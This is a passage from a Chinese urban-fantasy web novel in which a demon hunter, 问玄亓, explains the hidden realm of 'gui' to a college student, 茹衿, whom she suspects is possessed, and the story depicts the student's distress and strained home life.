茹衿在后面目睹了全过程,惊得她目瞪口呆。
问玄亓却十分淡定的从男人身边走到茹衿面前,低头看着她:“有时间跟我聊聊吗?”
5. 第5章·眼泪
晚上其实才是一天当中最活跃的时间段,像总是会有灯火通明的街道、热闹的夜市、彻夜在KTV唱歌的人、玩到半夜还舍不得回家的朋友......这些都成为了夜晚狂欢的满目星光。
茹衿看着车窗外亮着的各种颜色的灯光,她想不明白人怎么可以有精力到这种程度,就像她也不明白自己为什么会同意了问玄亓的请求,还稀里糊涂地上了她的车。
甜品店离茹衿所住的小区没有多远,问玄亓开着车很快就到了小区楼下。
她将车停好后看向茹衿,见她还在发呆,便开口问道:“晚点到家会被你家长骂吗?”
茹衿机械地摇摇头。
“好,那接下来的三十分钟就聊聊天吧。”问玄亓解开安全带侧过身笑着看向茹衿。
......
见对方没有反应,她就先开了口:
“大多数人都知道世界上有三界,神界、人间、冥界,但实际上在人间和冥界中间还有一界——诡界。”
茹衿扭过头来,脸上满是疑惑:“鬼界?”
问玄亓向她靠近了几分:“诡异的诡。”
“为什么是诡异的诡?”茹衿不明白。
问玄亓则是笑了笑,接着继续说道:“因为人间的人越来越多,他们的欲望和怨气就越来越大,加上受到三界的影响,久而久之,这些欲望和怨气就有了实体,它们学着人的生活习惯,长成了人的样子,然后生活在人间,混迹在人群当中。”
茹衿转转眼珠:“所以诡界就产生了?”
问玄亓点点头。
茹衿又接着问道:“那诡界的作用是管理这些欲望和怨气?”
问玄亓转过身,神色暗了几分:“不,是杀掉它们。”
车内陷入短暂的安静。
“诡界是后来才产生的,因为刚开始并不清楚它们的歧途,直到人间开始有越来越多的人因为它们死去,它们伪装成人,在人间展开屠杀和凌虐,为了阻止它们继续猖狂下去,就有了诡界,而我们叫它们‘诡’。”
问玄亓的这段话让茹衿说不出话来,她只觉得自己的脑袋好像涌入了大量的非科学性知识。
问玄亓到不管她有没有消化完,自顾自地继续说:“我们的任务就是抓住人间的诡,将它们送往诡界处决。”
讲到这她垂下眸叹了口气:“诡界本来只是临时的,所有人都想的是完成这个任务人间就可以恢复到往日的和平,但是没想到这些欲望和怨气是无穷无尽的,只要人间有一个人存在,它们就会跑出来继续祸害人间,所以,诡界就被保留了下来,而我们也成了里面的‘长期工’。”
茹衿咽了咽口水,她的表情是非常的不可置信,但她又亲眼见到面前这个人凭空变出一根短棍来,所以她又不得不信。
“所以你才会盯上我?”茹衿转念一想还是觉得不对劲:“可是我不是诡,我是人啊。”
问玄亓重新看向她:“识别一个人是不是诡并不复杂,因为诡的脸上会发出蓝色的亮光,而昨天晚上,你的脸上就出现了蓝色的亮光。”
问玄亓的这句话瞬间让茹衿觉得毛骨悚然,她感觉车内的温度都变低了,后脖颈又传来阵阵凉风,她伸手摸向后脖颈,随后又赶紧去看后视镜。
问玄亓往座椅上一靠:“你看不见的,因为你是人啊。”
茹衿急忙追问:“那如果是诡是不是就能看见?”
问玄亓:“诡也看不见,只有我们才能看见。”
茹衿有点想死。
见她这副模样,问玄亓忽然笑了:“你放心,你是人,我已经试验过了。”
茹衿满脸愁容:“你怎么就确定我不是诡了。”
“因为这个。”说着,问玄棍渐渐出现在她手里。
茹衿望着她手里的短棍:“这个棍子?”
问玄亓轻轻抚摸着问玄棍,语气竟然变得柔和起来:“被它碰到的,如果是诡脸上会出现明显的蓝色亮光,而人则是什么都没有,刚才在店里我用它打了你的胳膊,你身上什么反应都没有。”
听到她说的,茹衿才稍微放松下来。
问玄亓又想到什么,她侧过身去看她,然后抬抬眉毛:“再说了,是人是诡你自己心里最清楚了,你要是诡的话,现在应该想的是怎么不知不觉地把我弄死在车里。”
随后她又带着挑逗的语气问道:“所以,你是诡吗?”
被问玄亓这么盯着看,茹衿竟然觉得有些不好意思,问玄亓虽然不属于一眼惊艳的美女,但她的骨相很优越,脸很小,五官很立体,属于耐看型。
茹衿也是头一次和一个陌生人靠得这么近,她眼神闪躲,然后将脑袋转回去:“当,当然不是了。”
问玄亓笑出了声,下一秒语气又有些严肃:“虽然确定了你不是诡,但真正的诡依旧在你这里。”
茹衿皱着眉:“什么意思?”
问玄亓用手指轻轻敲击着问玄棍:“那股不对劲的感觉还在你这里,但我不知道是来自你身上还是你附近,之前我一直以为你是诡,因为你的身上隐隐约约地有那股感觉,所以我就跟着你到了小区,结果刚进小区那股感觉就更加强烈,为了验证猜想,我就在你身上放了一滴我的血。”
“啊?”茹衿十分震惊,这家伙什么时候干的?
问玄亓接着说:“那滴血与我相通,如果你是诡并且准备要干什么的话,我的身体会有疼痛感,但那天晚上我没有任何不适,所以我觉得诡可能是在小区,就趁你去上学的时间我又来了一次这里,可进去却什么感觉都没有,直到晚上我在甜品店里看见你,才确定那股感觉只在你的身上。”
“可你手里的短棍又告诉你我不是诡。”茹衿将话说了下去。
问玄亓点点头。
茹衿看着她:“所以,这到底是怎么回事?”
问玄亓摇摇头:“我也不知道,这次很奇怪,这个诡没有那么简单。”
“那我怎么办?我会被它害死吗?”茹衿开始担心自己的人身安全。
“放心吧,有我呢。”问玄亓指了指后脖颈:“我的那滴血还在你的体内。”
茹衿也伸手摸了摸自己的后脖颈。
“要是你有危险,它也会通过疼痛告诉我,我向你保证,我会第一时间到你身边。”
问玄亓的语气很认真,茹衿不知道为什么,她感觉问玄亓说的都是真的,她真的能做到。
“你为什么会把这些告诉我呢?”茹衿再次问出了自己的一个疑问。
“在我这算单方面的各取所需吧,我在你这搞清楚情况,你的人身安全就由我负责。”问玄亓将手里的问玄棍拿起来:“你不用担心,等我搞清楚了,就用它轻敲你的脑袋,你就会忘掉这一切。”
茹衿想起甜品店的那个男人:“就跟那个男人一样?”
问玄亓扬起嘴角:“没错。”
茹衿没有说话,她转过身靠在座椅上陷入了沉默。
问玄亓看着她忽然笑了一下:“接受度不错嘛,我还以为你会说你不信。”
“我能不信吗?”茹衿看向她手里的问玄棍:“你都能凭空变出东西来了,一看就不是普通人。
其实,茹衿本身就喜欢那种神神秘秘的东西,她相信这个世界上有神也有鬼,所以在真的听到这种事情后也不是不能接
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受。
“好了,还有最后一件事。”问玄亓看着她:“同学,你叫什么名字?”
茹衿没有反应。
问玄亓伸手碰了碰她,她这才回过神来:“啊?怎么了?”
问玄亓笑笑:“你叫什么名字?”
“嗷,茹衿。”
“如今?”问玄亓点点头,随后她掏出手机打开微信:“那如今同学,我们加个微信吧。”
茹衿打开微信二维码,叮的一声后,她通过了好友申请,聊天页面出现一句话:你好,我是问玄亓。
“问玄亓。”茹衿轻声念着这个名字,她觉得这个名字有点奇怪但也有点好听。
“好了,你还有什么要问的吗?”问玄亓看着她。
茹衿摇摇头,忽然她又想起来什么:“哦对了,你不是说只有你们诡界的人才能看见诡脸上的蓝色亮光吗?那直接通过亮光认诡不就行了,你为什么要通过一种奇怪的感觉还有你手中的短棍来判断对方是不是诡呢?”
面对这个问题,问玄亓神情微变,神色微微闪躲。
见她不说话,茹衿便开口问道:“怎么了?”
问玄亓回过神,她看了眼手机上的时间,清了清嗓子,避开这个话题:“三十分钟到了,你赶紧下车。”
“啊?”茹衿一脸疑惑。
“赶紧下车听到没,再不下车我就把你撵下去。”问玄亓开始赶人。
“不是,你还没回答我呢。”茹衿觉得莫名其妙。
问玄亓瞥过脸不去看她:“这个答案你不需要知道,快下车回去,不然再晚点你家长得报警了。”
“好吧。”茹衿虽然不甘心,但见她这个样子也不敢继续问,只能不情不愿的下了车。
问玄亓通过车窗看着茹衿进入小区的背影,随后手机传来消息提示音,她打开微信,聊天页面有了新的消息:你好,我是茹衿。
原来是这个茹衿。
看着屏幕,问玄亓轻轻一笑,没想到这么多年她又有了一个可以将秘密说出来的对象,上一个还是在她的甜品店叫茶食店的时候。
问玄亓呼出一口气,说出来还真是轻松啊,果然人还是得有个倾诉对象才行,尽管这个对象不久之后就会什么都不记得。
算了,想这么多也没用,她系好安全带,朝着甜品店的方向开去,店里睡着的那个男人还得给他弄醒才行。
“先生,这位先生?该醒醒了。”
“嗯?”男人从桌上醒来,他睡眼朦胧地看着面前的人,眼神还无法聚焦,他便伸手揉了揉。
“先生,我们店要关门了。”问玄亓笑脸盈盈地看着他。
“啊?”男人一脸懵,他掏出手机看了眼时间:“嗯?怎么十一点了。”
他一边揉着脑袋一边左顾右盼,见店里确实只剩下他一个客人后赶紧起身收拾东西:“我怎么睡着了,不好意思啊,最近可能没睡好。”
问玄亓依旧顶着一张笑脸:“没事的先生,您慢慢收拾。”
男人很快就离开了这里,问玄亓也将店里恢复成原来的模样,走之前还不忘拔掉插在墙上的那根叉子。
回到家的她赶紧洗了个热水澡,外面的天气真是给她冷的不行,要不是为了迎合大众,她真的想现在就把棉袄穿上。
洗完澡的问玄亓打算去厨房找点食物,打开冰箱就看见了夏栀晓给她的那瓶果酱。
“差点忘了,还得给王师傅反馈这果酱味道怎么样。”问玄亓拿起果酱看了看,然后关上冰箱门往客厅走去。
刚来到客厅,就看见沙发上坐了个人,她眸色微变,一边打开果酱一边走到旁边的沙发上坐下。
6. 第6章·眼泪
问玄亓:“你知道你这个行为在这里叫什么吗?”
尤聿离坐在沙发上满脸笑意的看着她。
“叫私闯民宅。”说完,问玄亓将一小勺果酱送进嘴里。
尤聿离扬起嘴角:“你的宅我闯的还少吗?”
问玄亓两眼一黑没接他这句混账话。
尤聿离倒也不希望她能说什么,也就重新转了个话题:“那个女孩的事查的怎么样?”
“她不是诡,我已经用问玄棍证明了。”问玄亓将一大口果酱送进了嘴里,她觉得这个果酱味道还不错,酸酸甜甜的还不腻。
尤聿离:“诡不是她?”
“没错,但是那股感觉还在她身上。”问玄亓放下果酱:“我也去了她住的地方,可以保证诡不在那里。”
尤聿离轻轻皱眉,眼珠一转:“意思是诡附在了她身上?”
问玄亓摇摇头:“我不知道,但是现在好像只有这个说法才能说得过去,可诡怎么会附在人的身上呢?这么多年了,我见到的诡都是一个实体,没有附身这一说法啊。”
尤聿离脸色忽然有些不对劲,问玄亓注意到他的异样:“你怎么了?”
他将脸转了回去,轻轻摩擦着手掌,半分钟后他开口说道:“阿亓,你还记得你当初被赶到人间前抓的最后一只诡吗?”
问玄亓眉头一皱,她不明白尤聿离为什么这个时候提这件事:“不记得了,怎么了?”
尤聿离重新看向她,那双忧郁的眼睛变得严肃:“你当初被赶到人间前抓的最后一只诡,它就没有实体,它是附在人身上的。”
问玄亓愣在沙发上,显然这个答案在她的意料之外。
“所以,这种情况是有先例的。”尤聿离的脸色变得非常差,他叹了口气:“这只诡你不要管了,我会把它抓住。”
问玄亓还没消化完上一个,就被他的话再次愣住:“为什么?这个工作一直是我负责的。”
尤聿离却十分坚定:“不行,你可以去抓其他的诡,但这只诡不能再让你管了。”
问玄亓从来不是什么领导说话她就听的人,她将果酱重重地放在桌上,然后站起身:“你说不行就不行了?这只诡我抓定了。”
尤聿离也猛地起身:“这只诡没有这么简单,你不可以再重蹈覆辙了。”
这句话让问玄亓抓住了重点,她看着尤聿离的眼睛:“重蹈覆辙?两百年前我是因为抓住了那只诡才被赶出了诡界吗?”
尤聿离眼神闪躲没有说话。
“为什么不说话?”问玄亓慢慢靠近他:“看来我说对了,告诉我。”她一步一步逼近尤聿离:“为什么我抓住那只诡就被赶出了诡界?”
等两人之间的距离极其近的时候,尤聿离轻轻抓住了问玄亓的胳膊,看着她那双带着一丝怨气的眼睛,语气变得柔和:“你会慢慢想起来的,但现在,我不能告诉你。”
问玄亓蹙起眉,她不明白,两百年了,他都守口如瓶,不肯透露出一点消息,现在却因为一只诡,将那秘密一样的事说了出来,然后又让自己慢慢想。
尤聿离看出她的疑惑,他微微垂下眸,随后又抬起,他那双眼睛忽然好像泉水,深不可测中带着柔情的涟漪。
“阿亓。”他停顿几秒。
“阿亓。”他张张嘴:“我希望你能以你自己为中心,不要再为了别人伤害自己。”
问玄亓听到这句话却甩开了他的胳膊,她觉得莫名其妙的同时又有点生气,脸色一沉:“我当然是以我为中心,一直都是。”
尤聿离满脸的失落,他知道自己说不动她,但他也不希望他们彼此之间的关系闹僵。他看着她:“我是真心的,我希望你能好好考虑一下。”随后往后退了几步就转身离开了这里。
见他离开,问玄亓坐在了沙发上,她望着黑漆漆的电视屏幕,一动也不动,只有脸上的情绪逐渐变得复杂起来。
而茹衿跟问玄亓分开后回到家掏出钥匙打开了门,妈妈依旧坐在沙发上看手机,在听到动静后黑着脸看向她。
“去哪儿了?这么晚回来。”
“学校有事。”
“有事?又是有事,活怎么都找你一个人干了?”
“......”
“天天这么晚回来,不知道的还以为是你在外面赚钱呢。”
茹衿站在两个卧室门中间,背对着妈妈,语气平静:
“那我后面一直住在学校就行了。”
“你啥态度?我这在关心你知不知道。”
茹衿没有回答,她将卧室门关上,但还没坐到椅子上门就被打开,妈妈站了进来:
“你跟我说话态度好点,别动不动就不耐烦,我不欠你的。”
茹衿一脸平静的坐在椅子上,将耳机塞进耳朵里。
没多久,妈妈就出去了,嘴巴没停,门也没关。
茹衿轻轻皱了皱眉,随后起身重新将门关上。
她趴在床上将手机音量调大,耳机有了明显的漏音,但她不在乎,打开微信,引入眼帘的就是问玄亓三个字。
她还在回味问玄亓说的那些,这个世界还真是神奇,不过到也印证了那句话——世界之大,无奇不有。
正想着,问玄亓就发来一条消息:你有感觉自己哪里不对劲吗?
不对劲?茹衿从床上起来,她转身坐在桌前,能有什么不对劲呢?
又是一股凉风,她下意识伸手去摸自己的后脖颈,这风到底从哪儿吹来的?
茹衿平静的看着手机,可下一秒她却突然停止了动作,她觉得自己整个人竟然莫名其妙的开始焦虑起来,好想哭。
有什么不对劲呢?她望着面前的手机,眼眸微动,随即一滴泪水从左眼顺着眼角划了下来。
能有什么不对劲呢?右眼处也划下一滴泪水,然后就是止不住的眼泪。
到底有什么不对劲?突然的焦虑和难过涌上心头,她开始焦躁不安的用手掌来回摩擦着脖子。
她觉得自己的脑袋沉沉的,好像有人在她脑子里说话。
奇怪,明明戴着耳机,怎么妈妈的声音越来越大了?
听着声音,她好像想起了什么,使得自己更加难过,那股情绪似乎全都被堵在了心脏,她想把它们敲碎,于是开始用拳头慢慢捶打胸口:
一下
两下
三下
......
还是堵得慌,妈妈的声音越来越大,脑子里全是她的声音,她好难过,将头磕向桌面:
一下
两下
三下
......
这一幕要是被别人看到只会觉得无比诡异,茹衿也知道,但她控制不了自己,这种情况不是一次两次了,好像从她被要求搬回来住开始。
突入其来的情绪让她很不好受,每一次她都希望能有个人温柔的抱住她,给她一点安慰。
另一边还在等茹衿回消息的问玄亓忽然觉得自己的左眼开始阵痛,她立马意识到是茹衿出事了。她望向前方,在手中变出问玄棍,拆成两半,甩出剑刃,然后朝着前方劈了一刀,空气被划开一道口子,问玄亓快速钻了过去。
下一秒,妈妈从卫生间走出来,看见客厅中间站了个穿着睡衣、手里拿着一根奇怪的短棍的女人,差点没吓个半死。
“你谁啊?”妈妈害怕又慌张的问,女人没有说话,她转过身看向茹衿的房间,随后气势汹汹的踏了进来。
卧室门被打开,茹衿吓了一跳,转头看过去,没想到竟然是问玄亓,她一脸懵的看着她。
问玄亓进去只看见茹衿安安静静的坐在桌前,脸上除了惊讶没有任何其他的不对劲。
“你怎么来了?”茹衿站起身。
问玄亓走过去,上下打量着她:“你没事吧?”
茹衿还没明白是什么情况:“我没事啊,怎么了?”
问玄亓觉得疑惑,明明刚才自己的血告诉她出事了,怎么这里又跟什么都没发生似的。
妈妈惊魂未定的看着两人:“诶,不是,你谁啊?大晚上怎么来的我家?”
问玄亓转过头,随后二话没说就将问玄棍碰上了
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她的脑袋。
茹衿见自己妈忽的一下就倒床上睡着了,一时之间竟不知道该怎么办。
问玄亓向她走近了些,伸手撩开了她的刘海,额间一块红印。
她开口问道:“你这怎么了?”
茹衿重新将刘海整理好:“没什么,就是压力有点大,用手按的。”
“用手按的?”问玄亓一脸不信:“你手劲挺大啊,把自己往死里摁。”
茹衿赶紧转移话题:“呃,你怎么来了,还穿成这样。”
问玄亓语气平淡:“我的血告诉我你有危险,我就来了。”
茹衿笑了笑:“我能有什么危险?”
问玄亓则是若有所思的看着她:“我们现在相当于是合作关系,所以我希望你能对我说实话。”
茹衿紧张的偷偷拽着衣角,她其实不知道该怎么说,甚至不知道这到底算不算是不对劲。
问玄亓不等她回答,盯着她那双眼睛:“它可能在你的身体里。”
“什么?”茹衿没明白她这句话的意思。
“诡。”问玄亓微微垂眸:“那只诡可能附在你身上。”
?
茹衿只觉得脑子里轰的一声,随即头皮发麻,打了个冷颤,她似乎感觉自己全身的血液都要凝固了。
“别紧张。”问玄亓见她这个样子轻声安慰:“有我在你不会有事的。”
其实当问玄亓在车里告诉她奇怪的感觉还在自己身上时,茹衿就有怀疑过那所谓的诡会不会是附身在自己体内,可问玄亓并没有这么告诉她,所以她也就将这个想法搁置了。
“它附在我身上?”茹衿又重复了一遍
问玄亓叹出一口气:“我也是刚知道有这种可能,所以才给你发消息,但是没有那滴血给我传递危险,我就没办法快速到你身边。”
茹衿觉得自己整个人都是麻的,忽然她想到什么:“它在我的身体里,那我们之间的对话它不就全听见了?”
“不,它听不见。”
“为什么?”
问玄亓在来这里前问了尤聿离:“诡附在人的身上,它的五感就会消失。”
茹衿稍微放心了一些:“也就是说它现在还不知道你的存在。”
这算是目前为止听到的比较好的一个消息了,毕竟要是那诡真听见了,恐怕自己看不见明天早上的太阳。
问玄亓看了眼躺在床上的妈妈:“我这次来就是想让你跟我走。”
茹衿:“去哪?”
问玄亓:“我家,你这个情况我觉得时刻在你身边比较好。”
茹衿转头去看妈妈。
问玄亓接着说:“放心吧,你妈妈没事,她明天早上起来不会记得今天晚上发生的一切。”
“好。”茹衿将头转回来:“我跟你走。”她其实本来就不太想在这待下去了,所以当问玄亓问出这句话时,她是非常乐意的。
问玄亓也没想到她答应得这么爽快,原本她还准备苦口婆心一番,看来是自己低估这个姑娘的接受能力了:“那你收拾一下,好了我们就走。”
茹衿收拾得很快,然后两人将妈妈抬进了卧室,一切弄好后她们来到客厅。
“我们怎么去你家?你开车来了?”茹衿问道。
问玄亓看了眼她,随后再次将手里的问玄棍拆成两半,往空中一甩,短棍变长剑。
这一幕让茹衿震惊的说不出话来,但接下来会让她更加震惊:
问玄亓拿起问玄棍朝空中一劈,空气中就裂开一道口子,口子后面就是问玄亓家。
茹衿简直不敢相信,这一晚上听到和看到的实在是太非人类了,这怎么时空裂缝都整出来了。
“走吧。”问玄亓率先穿过裂缝,但在家等了一会儿还不见茹衿过来,就又穿了回去,见茹衿呆呆的站在那里。
“你干嘛?”问玄亓见她不动便开口问道。
“啊?”茹衿慢慢回过神。
随后问玄亓也立马反应过来眼前这一幕确实有点让人难以接受,便走过去拉起她的手带着穿过了裂缝。
7. 第7章·眼泪
尤聿离回到诡界,他满脸愁容的往家走,刚走到“使”的工作室的门前就看见云崧蓝和白得江慌里慌张的从里面跑出来。
他刚想上前,那房子就“砰”的一声爆炸了。
尤聿离吓了一跳,他不可思议的望着面前这个燃烧的房子。
“我的药!我的药材!”
“我的酒!我的酒啊!”
尤聿离踉踉跄跄的来到两人中间,他看看云崧蓝,又看看白得江,最后看着眼前燃烧的房子,他气的脸都歪了,但还是压制住心中的怒火问道:
“你们又干什么了?”
白得江率先扯着脖子哭诉:“还不都是她,研究她那个什么药,偏要学人间的什么制药实验,结果操作不当把实验器材给炸了,还害的我的酒都藏身火海,呜呜。”
云崧蓝轮轮袖子反驳:“你还好意思说,要不是你把你的酒都放在工作室,那么小的爆炸能把整个房子都点燃吗?我之前就跟你说了,这是工作的地方,不是你喝酒的地方!”
白得江不服气:“你不还在这里研制你的药,凭什么我不能在这里喝酒!”
“我制药是干正经事,你喝酒是正经事吗!”
“我这怎么不是正经事了!”
俩人吵的不可开交,尤聿离翻了个白眼无语的要死,他呼出一口气:“闭嘴。”
争吵声盖住了他的声音。
尤聿离双眼一闭,然后睁开:“闭嘴!”
这一声音量挺大,他们俩人都听见了,瞬间闭上了嘴,安安静静的站在两边。
几百年了,尤聿离已经不怎么大声吼了,除了在他们面前例外。
他看向白得江,白得江见他看自己赶紧站的端端正正的,然后咧着嘴尬笑了一下。
尤聿离两眼一黑,随后对他说:“你去找几个吾过来跟着他们一块把这里收拾干净。”
“就我一个?”白得江看向身后洋洋得意的云崧蓝,他不太服气,但眼睛一转后就看到了尤聿离那阴沉的可怕的脸,他就马上服气了:“没问题,我保证收拾的干干净净。”
白得江走了之后,尤聿离又看向云崧蓝。
云崧蓝立马收起笑脸:“尤师。”
“跟我走。”尤聿离说下这句就转身离开了这里。
云崧蓝虽然一头雾水,但她还是跟了上去。
来到小屋,尤聿离倒了杯水放在云崧蓝面前,她端起那杯水看了看,又看了看他,随后放下了杯子。
“怎么了?”尤聿离问她。
云崧蓝笑笑:“我现在还不渴,一会儿喝。”倒不是她不渴,是她真不敢喝。
尤聿离明白她的想法,但他并没有说出来,而是开口道谢:“你的那瓶药膏很管用,谢谢你。”
云崧蓝一愣,她看着尤聿离,并不是对他的道谢感到惊讶,尤聿离虽然不亲近人,但他最起码的礼貌还是有的,每次从她这里拿药都会说谢谢,她惊讶的是尤聿离把自己叫过来难道就只是为了道谢?
她赶紧回了个笑容:“不客气。”
尤聿离轻轻一笑:“我叫你过来是有件事想问问你。”
云崧蓝来了精神:“什么事啊?”
尤聿离直接开门见山:“你还记得两百年前玄亓抓的最后一只诡吗?它是附在人的身上的。”
云崧蓝点点头:“记得,它是这么久以来唯一一只没有实体的诡。”
尤聿离:“它现在不是唯一了。”
云崧蓝的目光掠过一丝惊讶:“又出现了?”
“应该是,它的情况跟两百年前那一只太像了。”尤聿离靠在沙发上,眉头紧紧锁起。
“所以现在,还是问......”云崧蓝小心翼翼的看了眼他,想了想还是将那个字咽了回去:“还是她在捉这只诡?”
尤聿离点点头。
“可是尤师,虽然附在人身上的诡确实难缠,但是它的危险系数并没有那么高。”云崧蓝回忆起之前的事:“当初她也很快就捉到了那只诡。”
“我知道,一只诡而已,对她来说轻而易举。”尤聿离将目光看向她:“我担心的,是怕她会再一次不顾自己。”
云崧蓝慢慢垂下眸,在思考什么:“那让她去捉别的诡,这个诡我们来捉。”
尤聿离叹了口气:“我说过了,她没有听,以她的性格后面也不会听的,所以我打算直接跟她一起捉那只诡,这几天我可能会一直待在人间,我不在的时候就麻烦你和白得江了。”
云崧蓝的眼中竟然闪过一丝兴奋的光芒,好家伙,竟然好几天都不在吗?那可太棒了!她抑制住想上扬的嘴角:“没问题,不过,这件事不需要给界主上报一下吗?”
“不用,等界主发现了再说。”尤聿离翘起了二郎腿:“还有就是,我想跟你再对一下两百年前那只诡的情况,我怕我记漏了。”
云崧蓝:“好。”
俩人就这样在屋里对了一下午的信息,对之前那只诡的攻击力、特点、弱点一一确认,云崧蓝甚至把那只诡长什么样都说了。
对完这些,尤聿离只觉得胜券在握,他站起身就往外面走。云崧蓝一个人坐在屋里,看着他离开的背影撇了撇嘴,摇摇头:“真是命苦啊。”随后将桌上的那杯水一饮而尽。
来到问玄亓的家,茹衿两眼放光的看着她手上的短棍:“你这个武器好厉害,还有多的吗?”
问玄亓扬起嘴角:“只有一根。”
可能意识到不妥,茹衿赶紧解释:“哦,我不是那个意思,就是觉得你这根棍子很神奇,我对这种武器特别感兴趣。”
问玄亓拿起手中的玄棍,这是一根六十厘米长的短棍,整体由紫光檀雕刻,上面有饕餮纹缠绕,看着神秘又典雅。这是几百年来陪在她身边的东西,被剥夺能力后她就靠着问玄棍捉诡,对她来说,就像亲人一样。
“捉诡就靠它了。”问玄亓轻轻摩擦着问玄棍,随后将它收回。
“其实我对这种东西特别感兴趣,一直想要一个属于自己的武器,像匕首、短剑什么的,不过我也不会用。”茹衿自嘲般的笑笑。
问玄亓眼神一亮,她没想到眼前这个看起来温柔的姑娘竟然会喜欢这些东西,真是越来越有意思了。
“对了,你妈妈那边我想的是要不你放学的时候先回家?等我晚上再去找你,这样你妈妈每次醒来也只会觉得你去学校了。”
茹衿微微蹙眉:“为什么?”
问玄亓双手抱胸倚靠在墙上:“你要是突然不见,怕你妈妈会报警。”
茹衿不理解:“为什么要这么麻烦,我直接说我住学校不就行了。”
问玄亓像听到了新东西:“你们学校还能临时住宿啊?”
茹衿被她说的云里雾里的:“不是啊,我交了住宿费的,给导员说一下就行了。”
“导员?”问玄亓直起身子:“你上大学了?”
茹衿点点头:“对啊。”
反映过来的问玄亓“噗嗤”一声笑了出来:“我看你长得小,就以为你在上高中,也没想到大学生还天天回家住,而且那天你不是很早就去上学了吗。”
茹衿摇头解释道:“没有,我今年刚上大一,这几天我请假了,晚上回家住,那天是因为我要上早八,所以走的早。”
问玄亓笑着点点头:“对,大学有早八,我都忘了,那竟然是大学
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就好办了,你给你妈妈说一声就行。”随后她指了指另一个房间:“那是你的房间,里面有卫生间,要是缺什么了跟我说。”
茹衿:“好。”
“那你去洗漱吧,早点睡。”问玄亓说完回了自己的房间。
茹衿小心翼翼的往自己房间走,她打开灯,房间装修的很温馨,她轻轻坐在床边,抬起头好奇的看着四周,这还是她头一次住刚认识了几个小时的人的家里,不免的也有些佩服自己。
可转念一想,自己的生活已经够遭了,就算真的被骗了其实也没什么,反而可以让自己早点解脱。
想到这她伸手慢慢抚上自己的胸膛:
自己的身体里住了一个十分可怕的东西,问玄亓说它没有五感,那自己心里所想的它会感受到吗?不对,应该不会,这几个小时了,要是它能感受到自己心里所想的,那它现在应该已经大开杀戒了,可它是怎么附在自己身上的呢?为什么偏偏选了自己?
想到这茹衿赶紧摇摇头,制止了接下来的想法:“真是的,怎么又瞎想了。”
她跑进卫生间洗了把脸试图让自己冷静,她抬起头看着镜子里的自己,恍惚间她觉得镜子里的自己扭曲了一下,紧接着附在脸上的水竟然变成了泪水。
她诧异的伸手摸向自己的脸,怎么又哭了?为什么会哭?她不觉得现在的自己很难过,可眼泪为什么止不住?
“砰砰砰!”
突然的敲门声吓了茹衿一跳,她看向声音的方向,然后又将目光看了回来,镜子里的自己却又变了,她赶紧再次摸向自己的脸,此时,她脸上有的只有刚才洗脸时留下的水,已经干了大半。
她慢慢退出卧室,然后跑向客厅。
“你怎么来了。”问玄亓打开门见是尤聿离。
尤聿离满脸着急:“阿亓,你想抓那个诡就抓吧,但是可不可以听一些我的建议,我已经和云崧蓝确定好了,这一定能帮上你。”
问玄亓看着他:“你......”
“阿亓,我知道你现在可能对我有误会,几个小时前在这里说的话你就当我没说好了,我这次说的才是最重要的,它关乎......”尤聿离说到一半突然停了下来。
问玄亓见他看着自己身后,就转头看了过去,茹衿站在客厅里,似乎有点尴尬的望着他们俩。
“诶?把你吵醒了吗?”问玄亓朝她问道。
茹衿摇摇头:“我还没睡呢。”
“是吗?”问玄亓又看向门外的尤聿离:“那你进来吧,外面挺冷的。”
尤聿离进了屋子,他又恢复成平时的死样子,沉着脸,带着怀疑的眼神看着茹衿。
茹衿被他这么一看要吓死了,她觉得面前这个男人阴恻恻的,像地府里来索她命的鬼,她撇过头去看问玄亓:“我是不是打扰到你们了,要不我先回房间吧。”
“不用。”问玄亓瞥了眼尤聿离,随后笑着对茹衿说:“刚好说你的事呢,坐下来听听吧。”
“啊?哦。”茹衿没想到是说自己的事,那也就是说这个男人也是诡界的人?她悄悄看向尤聿离,刚好对上他的目光,打了个冷颤,随后她立马就将头转了回来,然后坐在了离尤聿离最远的沙发上。
三个人一人占了个沙发,坐在中间最大的沙发上的问玄亓看看他们:“不是,你们坐这么开干嘛?怎么?都嫌弃我啊?”
“不是不是。”茹衿赶紧摆摆手:“我不太好意思坐你旁边。”
问玄亓笑了:“这有什么。”
茹衿尴尬的回应了一个微笑。
见她不想坐过来,问玄亓就没再强求,她转头去看尤聿离:“你想说什么?”
8. 第8章·眼泪
尤聿离一直保持警惕的状态,问玄亓见状安慰他:“放心吧,她知道我们的事。”
“你都告诉她了?”尤聿离看着茹衿脸上那隐隐约约的蓝光。
问玄亓:“嗯。”
“能信任吗?”尤聿离在说这话的时候压根就没有想要避开茹衿,又或者他就是说给茹衿听的。
问玄亓看了眼如坐针毡的茹衿:“她要是没法信任,几个小时前她身上的诡就在车里跟我算账了。”
尤聿离轻轻一笑:“好。”竟然问玄亓这么说了,那他暂时就不会再怀疑她。
“我找了云崧蓝,将我们俩记住的信息进行了整合。”他开始讲述自己所知道的:“诡一般是实体,它要是想要附在人的身上就必须付出失去五感的代价,虽然它的危险系数没有很高,但是很难缠,甚至很容易让人忽略它,比如说被它附身的人的脸上蓝光很弱。”
他瞥了眼坐在对面的茹衿:“并且被它附身的人就相当于与诡融为一体,伤害她身上的诡就等于伤害她,唯一的办法就是让它自愿从她的身体里出来。”
“不过。”尤聿离提醒问玄亓:“它就像狗皮膏药一样,跟人贴的死死的。”
问玄亓的神情很平静,一点都不慌张:“我之前是怎么做的?”
尤聿离微微抬起下巴:“这个我会私下告诉你。”
问玄亓转头去看茹衿,随后眼珠一转:“好。”
茹衿虽然很想知道是什么办法,但她觉得没有说出来的话还是不要好奇的比较好。
问玄亓又看向尤聿离,轻抬眉毛:“你继续。”
尤聿离的眼神此时落在了茹衿的身上。
茹衿被他盯得发毛,赶紧垂下眸不去看他。
“附在人身上的诡会不停地干扰人的大脑,比如说让他幻听、陷入痛苦的回忆、放大内心最害怕的东西。”
尤聿离的话似乎戳中了茹衿,他每说一个字,她就抠一下指甲,在他说完后,她的指甲也被抠掉了一小块皮,血珠从里面冒了出来,随后她又极快地用手指抹掉血珠。
问玄亓思考了一下尤聿离说的,随后便接着对茹衿说:“之前告诉你诡有了人形后混在人群中生活,但它们都是由人的怨气和欲望产生的,所以它们本身就是恶的代表,它们会杀人、会凌虐,就比如前段时间警察一直抓不到的连续杀人犯。”
茹衿抬起头,眼中有些不可思议。
“这个世界上的大多数罪犯和坏人,他们就是怨气和欲望的化身,也就是说,他们就是诡。”问玄亓小心询问她:“我这样说,你能理解吗?”
茹衿在脑海中消化着听到的消息。
